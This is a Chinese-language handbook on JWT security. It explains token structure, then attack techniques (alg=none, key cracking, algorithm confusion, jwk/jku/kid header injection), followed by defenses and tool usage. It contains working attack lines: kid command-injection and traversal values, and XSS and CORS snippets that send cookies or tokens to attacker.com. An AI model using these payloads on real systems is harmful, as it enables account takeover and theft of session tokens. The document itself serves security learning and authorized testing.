JWT_Attacks

1 阅读11分钟

JWT 攻击完整手册

综合整理自 PortSwigger Web Security Academy、CSDN、奇安信攻防社区等资料


目录

  1. JWT 基础知识
  2. JWT 攻击概述
  3. 攻击技术详解
  4. 高级攻击技术
  5. 窃取 JWT 的方法
  6. 查找公钥的方法
  7. 测试工具与流程
  8. 防御措施
  9. 学习资源

一、JWT 基础知识

1.1 什么是 JWT?

JSON Web Token (JWT) 是一个开放标准(RFC 7519),用于在双方之间安全地表示声明。JWT 是一种无状态的认证机制,通常用于:

  • 身份验证(Authentication)
  • 会话管理(Session Management)
  • 访问控制(Access Control)
  • 信息交换(Information Exchange)

与传统会话令牌不同,JWT 将服务器所需的所有数据存储在客户端令牌本身中,适合高度分布式网站和微服务架构。

1.2 JWT 结构

JWT 由三部分组成,用点号(.)分隔:

Header.Payload.Signature

示例:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po
1.2.1 Header(头部)

包含令牌的元数据,通常包括:

{
  "alg": "HS256",    // 签名算法
  "typ": "JWT",      // 令牌类型
  "kid": "key-id"    // 密钥ID(可选)
}

常见头部声明:

声明描述格式
typ令牌类型 (JWT/JWE/JWS)string
alg签名/加密算法string
kid密钥ID,用于查找密钥string
x5uX.509证书的URLURL
x5c用于签名的X.509证书JSON object
jkuJWKS格式密钥的URLURL
jwkJWK格式的密钥JSON object
1.2.2 Payload(有效载荷)

包含用户相关的"声明"(Claims)信息:

{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true,
  "iat": 1516239022,
  "exp": 1648037164
}

标准声明:

声明描述格式
iss令牌发行人string/URL
aud令牌受众(预期接收方)string/URL
sub令牌主题(接收者)string
jti令牌唯一标识符string/integer
nbfNot Before - 生效时间戳integer
iatIssued At - 签发时间戳integer
expExpiration - 过期时间戳integer
1.2.3 Signature(签名)

签名用于验证消息完整性和发送者身份:

HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret
)

1.3 JWT vs JWS vs JWE

  • JWT:定义信息格式的规范
  • JWS(JSON Web Signature):带签名的JWT,内容可见但不可篡改
  • JWE(JSON Web Encryption):加密的JWT,内容不可见

通常说的 JWT 指的是 JWS 令牌。

1.4 对称 vs 非对称算法

类型算法示例特点
对称加密HS256, HS384, HS512单一密钥用于签名和验证
非对称加密RS256, RS384, RS512, ES256, PS256私钥签名,公钥验证

二、JWT 攻击概述

2.1 攻击目标

JWT 攻击的典型目标包括:

  • 绕过身份验证:冒充其他用户
  • 权限提升:获取管理员权限
  • 信息泄露:获取敏感数据
  • 进一步攻击:SQLi、XSS、SSRF、RCE、LFI 等

2.2 漏洞产生原因

  1. 签名验证缺陷:未正确验证签名
  2. 弱密钥:使用可猜测或可暴力破解的密钥
  3. 算法混淆:未正确处理不同签名算法
  4. 配置错误:允许不安全的算法或参数
  5. 库漏洞:JWT 库本身的实现缺陷

2.3 已知 CVE

CVE名称描述
CVE-2015-9235Alg:none 攻击接受无签名令牌
CVE-2016-5431密钥混淆攻击RS256 → HS256 算法切换
CVE-2018-0114密钥注入攻击通过 jwk 头部注入公钥

三、攻击技术详解

3.1 签名验证缺陷

3.1.1 接受任意签名(未验证签名)

漏洞原因:开发者混淆了 verify()decode() 方法

// 错误用法 - 只解码不验证
const decoded = jwt.decode(token);

// 正确用法 - 解码并验证签名
const verified = jwt.verify(token, secret);

攻击方式:直接修改 payload 内容,保留或修改签名

3.1.2 无签名令牌攻击(alg=none)

漏洞原因:JWT 规范允许 alg 设为 none

攻击示例

// Header
{"typ": "JWT", "alg": "none"}

// Payload
{"login": "admin", "role": "administrator"}

// 无签名

完整令牌:

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJsb2dpbiI6ImFkbWluIiwicm9sZSI6ImFkbWluaXN0cmF0b3IifQ.

绕过技巧(针对简单的字符串过滤):

  • None
  • NONE
  • nOnE
  • none\\x00(空字节)

工具命令

python3 jwt_tool.py JWT_HERE -A

3.2 暴力破解密钥

3.2.1 适用条件
  • 使用对称加密算法(HS256/HS384/HS512)
  • 密钥为弱密码或默认密码
3.2.2 使用 hashcat 破解
# 字典攻击
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

# 基于规则的攻击
hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule

# 暴力破解
hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6
3.2.3 使用 jwt_tool 破解
python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
3.2.4 破解策略
  1. 常见默认密码字典攻击
  2. 泄露密码词表攻击
  3. 从目标网站抓取的词进行定向攻击
  4. 规则攻击(添加数字、特殊字符等)
  5. 渐进式暴力破解

3.3 算法混淆攻击(CVE-2016-5431)

3.3.1 漏洞原理

某些 JWT 库使用同一个变量存储:

  • HMAC 对称加密的密钥
  • RSA 非对称加密的公钥

当服务器期望 RS256 但收到 HS256 时,会用公钥作为 HMAC 密钥验证签名。

3.3.2 攻击步骤
  1. 获取服务器公钥(通过 /jwks.json 等端点)
  2. 转换公钥格式(转为 PEM 格式)
  3. 修改 JWT
    • alg 改为 HS256
    • 修改 payload 内容
  4. 用公钥作为 HMAC 密钥签名
3.3.3 详细操作(Burp Suite)
1. 获取公钥(JWK 格式)
2. JWT Editor Keys → New RSA Key → 粘贴 JWK
3. 选择 PEM 单选按钮,复制 PEM 密钥
4. Decoder → Base64 编码 PEM
5. JWT Editor Keys → New Symmetric Key
6. 将 k 参数替换为 Base64 编码的 PEM
7. 修改 JWT 的 alg 为 HS256
8. 用新密钥签名

工具命令

python3 jwt_tool.py JWT_HERE -K -pk public.pem
3.3.4 从现有 JWT 推导公钥

当公钥不可用时,可从两个有效的 JWT 推导:

docker run --rm -it portswigger/sig2n <token1> <token2>

或使用 jwt_forgery.py

python3 jwt_forgery.py <token1> <token2>

3.4 JWT 头部参数注入

3.4.1 jwk 注入(CVE-2018-0114)

原理:在头部嵌入攻击者的公钥

攻击示例

{
  "typ": "JWT",
  "alg": "RS256",
  "jwk": {
    "kty": "RSA",
    "kid": "attacker-key",
    "use": "sig",
    "e": "AQAB",
    "n": "攻击者的公钥模数..."
  }
}

攻击步骤

  1. 生成新的 RSA 密钥对
  2. 用私钥签名修改后的 JWT
  3. 将公钥嵌入 jwk 头部参数

工具命令

python3 jwt_tool.py JWT_HERE -I
3.4.2 jku 注入(JWKS 欺骗)

原理:通过 jku 参数指向攻击者控制的 URL

攻击示例

{
  "typ": "JWT",
  "alg": "RS256",
  "jku": "https://attacker.com/jwks.json"
}

攻击步骤

  1. 生成新的 RSA 密钥对
  2. 在攻击者服务器托管 JWKS 文件
  3. jku 指向该 URL
  4. 用私钥签名令牌

工具命令

python3 jwt_tool.py JWT_HERE -S -u https://attacker.com/jwks.json
3.4.3 kid 参数攻击

(1)目录遍历

{
  "kid": "../../dev/null",
  "alg": "HS256"
}

使用空文件内容(空字符串)作为密钥签名。

(2)路径遍历读取已知文件

{
  "kid": "../../etc/passwd",
  "alg": "HS256"
}

(3)SQL 注入

{
  "kid": "key' UNION SELECT 'secret'--",
  "alg": "HS256"
}

(4)命令注入

{
  "kid": "key|whoami",
  "alg": "HS256"
}

(5)SSRF

{
  "kid": "/dev/tcp/attacker.com/80",
  "alg": "HS256"
}
3.4.4 x5c 证书链注入

类似 jwk 注入,通过 x5c 参数注入自签名证书。

相关 CVE:CVE-2017-2800、CVE-2018-2633

3.4.5 cty 参数攻击

修改 cty(Content Type)可能触发:

  • XXE 攻击(text/xml
  • 反序列化攻击(application/x-java-serialized-object

四、高级攻击技术

4.1 跨服务中继攻击

场景:多个服务共享同一个身份验证服务

攻击方式

  1. 在服务 A 注册账号
  2. 获取 JWT 令牌
  3. 将令牌重放到服务 B

利用条件:令牌未包含 aud 声明或 aud 验证不严格

4.2 令牌过期绕过

检查点

  • 令牌是否包含 exp 声明?
  • 服务器是否真正检查 exp
  • 过期令牌能否继续使用?

测试方法

python3 jwt_tool.py JWT_HERE -R  # 查看令牌内容和过期时间

4.3 不朽令牌(Immortal Token)

如果令牌永不过期或可以无限刷新,攻击者可以:

  • 长期保持访问权限
  • 即使用户修改密码也能继续访问

4.4 声明处理顺序漏洞

某些应用在验证签名之前处理声明内容,导致:

  • 即使签名无效,篡改的数据也被使用
  • 可能导致 XSS、SQLi 等注入攻击

测试方法

  1. 修改 payload 中的值
  2. 保留原始签名
  3. 观察响应是否反映修改

4.5 参数污染

通过注入重复的声明:

{
  "user": "attacker",
  "user": "admin"
}

不同解析器可能取第一个或最后一个值。


五、窃取 JWT 的方法

5.1 XSS 攻击

Cookie 存储的 JWT(非 HTTPOnly):

document.location='http://attacker.com/steal?c='+document.cookie;

LocalStorage 存储的 JWT

new Image().src='http://attacker.com/log?jwt='+localStorage.getItem('token');

SessionStorage 存储的 JWT

fetch('http://attacker.com/log?jwt='+sessionStorage.getItem('token'));

5.2 CSRF 攻击

当 JWT 存储在 Cookie 中时:

<form id="csrf" action="https://target.com/api/password" method="POST">
  <input name="password" value="hacked123" />
</form>
<script>document.getElementById("csrf").submit();</script>

5.3 CORS 配置错误

当 CORS 允许任意来源 + 凭据时:

var xhr = new XMLHttpRequest();
xhr.open("GET", "https://target.com/api/token/refresh");
xhr.withCredentials = true;
xhr.onload = function() {
  fetch('http://attacker.com/log?jwt=' + xhr.responseText);
};
xhr.send();

5.4 中间人攻击

JWT 可能在以下位置暴露:

  • 未加密的 HTTP 流量
  • 服务器日志文件
  • Referer 头(如果在 URL 参数中)
  • 浏览器历史记录

六、查找公钥的方法

6.1 标准端点

/.well-known/jwks.json
/jwks.json
/openid/connect/jwks.json
/api/keys
/api/v1/keys
/oauth/discovery/keys

6.2 从 SSL 证书提取

# 获取证书
openssl s_client -connect example.com:443 2>&1 < /dev/null | \\
  sed -n '/-----BEGIN/,/-----END/p' > cert.pem

# 提取公钥
openssl x509 -pubkey -in cert.pem -noout > pubkey.pem

6.3 从 JWT 声明获取线索

  • jku 声明:直接指向 JWKS URL
  • x5u 声明:指向 X.509 证书
  • iss 声明:发行人 URL 可能暴露公钥

6.4 从详细错误信息获取

尝试发送畸形令牌触发错误:

  • 损坏的签名
  • 无效的 Base64
  • 错误的算法
  • 错误的数据类型

七、测试工具与流程

7.1 jwt_tool 使用

安装

git clone https://github.com/ticarpi/jwt_tool
pip3 install pycryptodomex

常用命令

# 解码令牌
python3 jwt_tool.py JWT_HERE -R

# 漏洞扫描
python3 jwt_tool.py JWT_HERE -X

# 交互式篡改
python3 jwt_tool.py JWT_HERE -T

# none 算法攻击
python3 jwt_tool.py JWT_HERE -A

# 密钥破解
python3 jwt_tool.py JWT_HERE -C -d wordlist.txt

# 密钥混淆攻击
python3 jwt_tool.py JWT_HERE -K -pk public.pem

# jwk 注入
python3 jwt_tool.py JWT_HERE -I

# jku 欺骗
python3 jwt_tool.py JWT_HERE -S -u http://attacker.com/jwks.json

# 验证公钥
python3 jwt_tool.py JWT_HERE -V -pk public.pem

7.2 Burp Suite JWT Editor

  1. 安装 JWT Editor 扩展
  2. 在 Repeater 中查看 JSON Web Token 标签
  3. 使用 JWT Editor Keys 管理密钥
  4. 使用 Attack 功能自动化攻击

7.3 其他工具

  • jwt.io:在线解码调试
  • hashcat:密钥暴力破解
  • jwt_forgery.py:从 JWT 推导公钥
  • Burp Collaborator:检测 SSRF

7.4 测试流程

1. 识别 JWT(正则:[= ]ey[A-Za-z0-9_-]*\\.[A-Za-z0-9._-]*)
2. 找到测试页面(如个人资料页)
3. 验证令牌可重放
4. 测试是否需要令牌
5. 测试签名验证
6. 测试令牌持久性
7. 检查令牌来源(服务端 vs 客户端)
8. 测试声明处理顺序
9. 测试弱密钥
10. 测试已知漏洞(none、密钥混淆、注入等)
11. 模糊测试

八、防御措施

8.1 签名验证

措施说明
始终验证签名使用 verify() 而非 decode()
白名单算法明确指定允许的算法,拒绝 none
不信任 alg 头服务端强制指定算法

8.2 密钥管理

措施说明
使用强密钥HMAC 至少 256 位随机密钥
密钥轮换定期更换密钥
安全存储使用 KMS 或环境变量
优先非对称RS256/ES256 比 HS256 更安全

8.3 头部参数防护

措施说明
忽略 jwk 头不使用令牌中嵌入的密钥
白名单 jku只允许信任的 JWKS URL
过滤 kid防止路径遍历和注入
忽略 x5u/x5c不使用令牌中的证书

8.4 令牌生命周期

措施说明
设置 exp使用短期令牌(15分钟-1小时)
实现刷新机制使用 refresh token
令牌撤销实现黑名单或版本控制
检查 nbf/iat验证时间相关声明

8.5 其他防护

措施说明
使用 aud 声明指定令牌接收方
不在 URL 传递避免泄露到日志和历史记录
不存敏感数据Payload 只是编码不是加密
HTTPOnly Cookie防止 XSS 窃取
使用最新库及时更新修复漏洞

8.6 安全配置示例

// Node.js jsonwebtoken 库
const jwt = require('jsonwebtoken');

// 签名时
const token = jwt.sign(payload, privateKey, {
  algorithm: 'RS256',  // 明确指定算法
  expiresIn: '15m',    // 设置过期时间
  audience: 'my-app',  // 指定受众
  issuer: 'auth-server' // 指定发行人
});

// 验证时
const decoded = jwt.verify(token, publicKey, {
  algorithms: ['RS256'],  // 白名单算法
  audience: 'my-app',
  issuer: 'auth-server',
  complete: true
});

九、学习资源

9.1 官方文档

9.2 学习平台

9.3 工具

9.4 实战靶场

  • PortSwigger JWT Labs
  • HackTheBox
  • TryHackMe
  • DVWA

附录:速查表

常见攻击命令

# 解码 JWT
echo "JWT_HERE" | cut -d'.' -f2 | base64 -d

# none 攻击
python3 jwt_tool.py JWT -A

# 密钥破解
hashcat -a 0 -m 16500 jwt.txt rockyou.txt

# 算法混淆
python3 jwt_tool.py JWT -K -pk public.pem

# jwk 注入
python3 jwt_tool.py JWT -I

# 推导公钥
docker run --rm -it portswigger/sig2n token1 token2

正则表达式

# 匹配 JWT
[= ]ey[A-Za-z0-9_-]*\\.[A-Za-z0-9._-]*

最后更新:2024年

免责声明:本文档仅供安全研究和授权测试使用,请勿用于非法目的。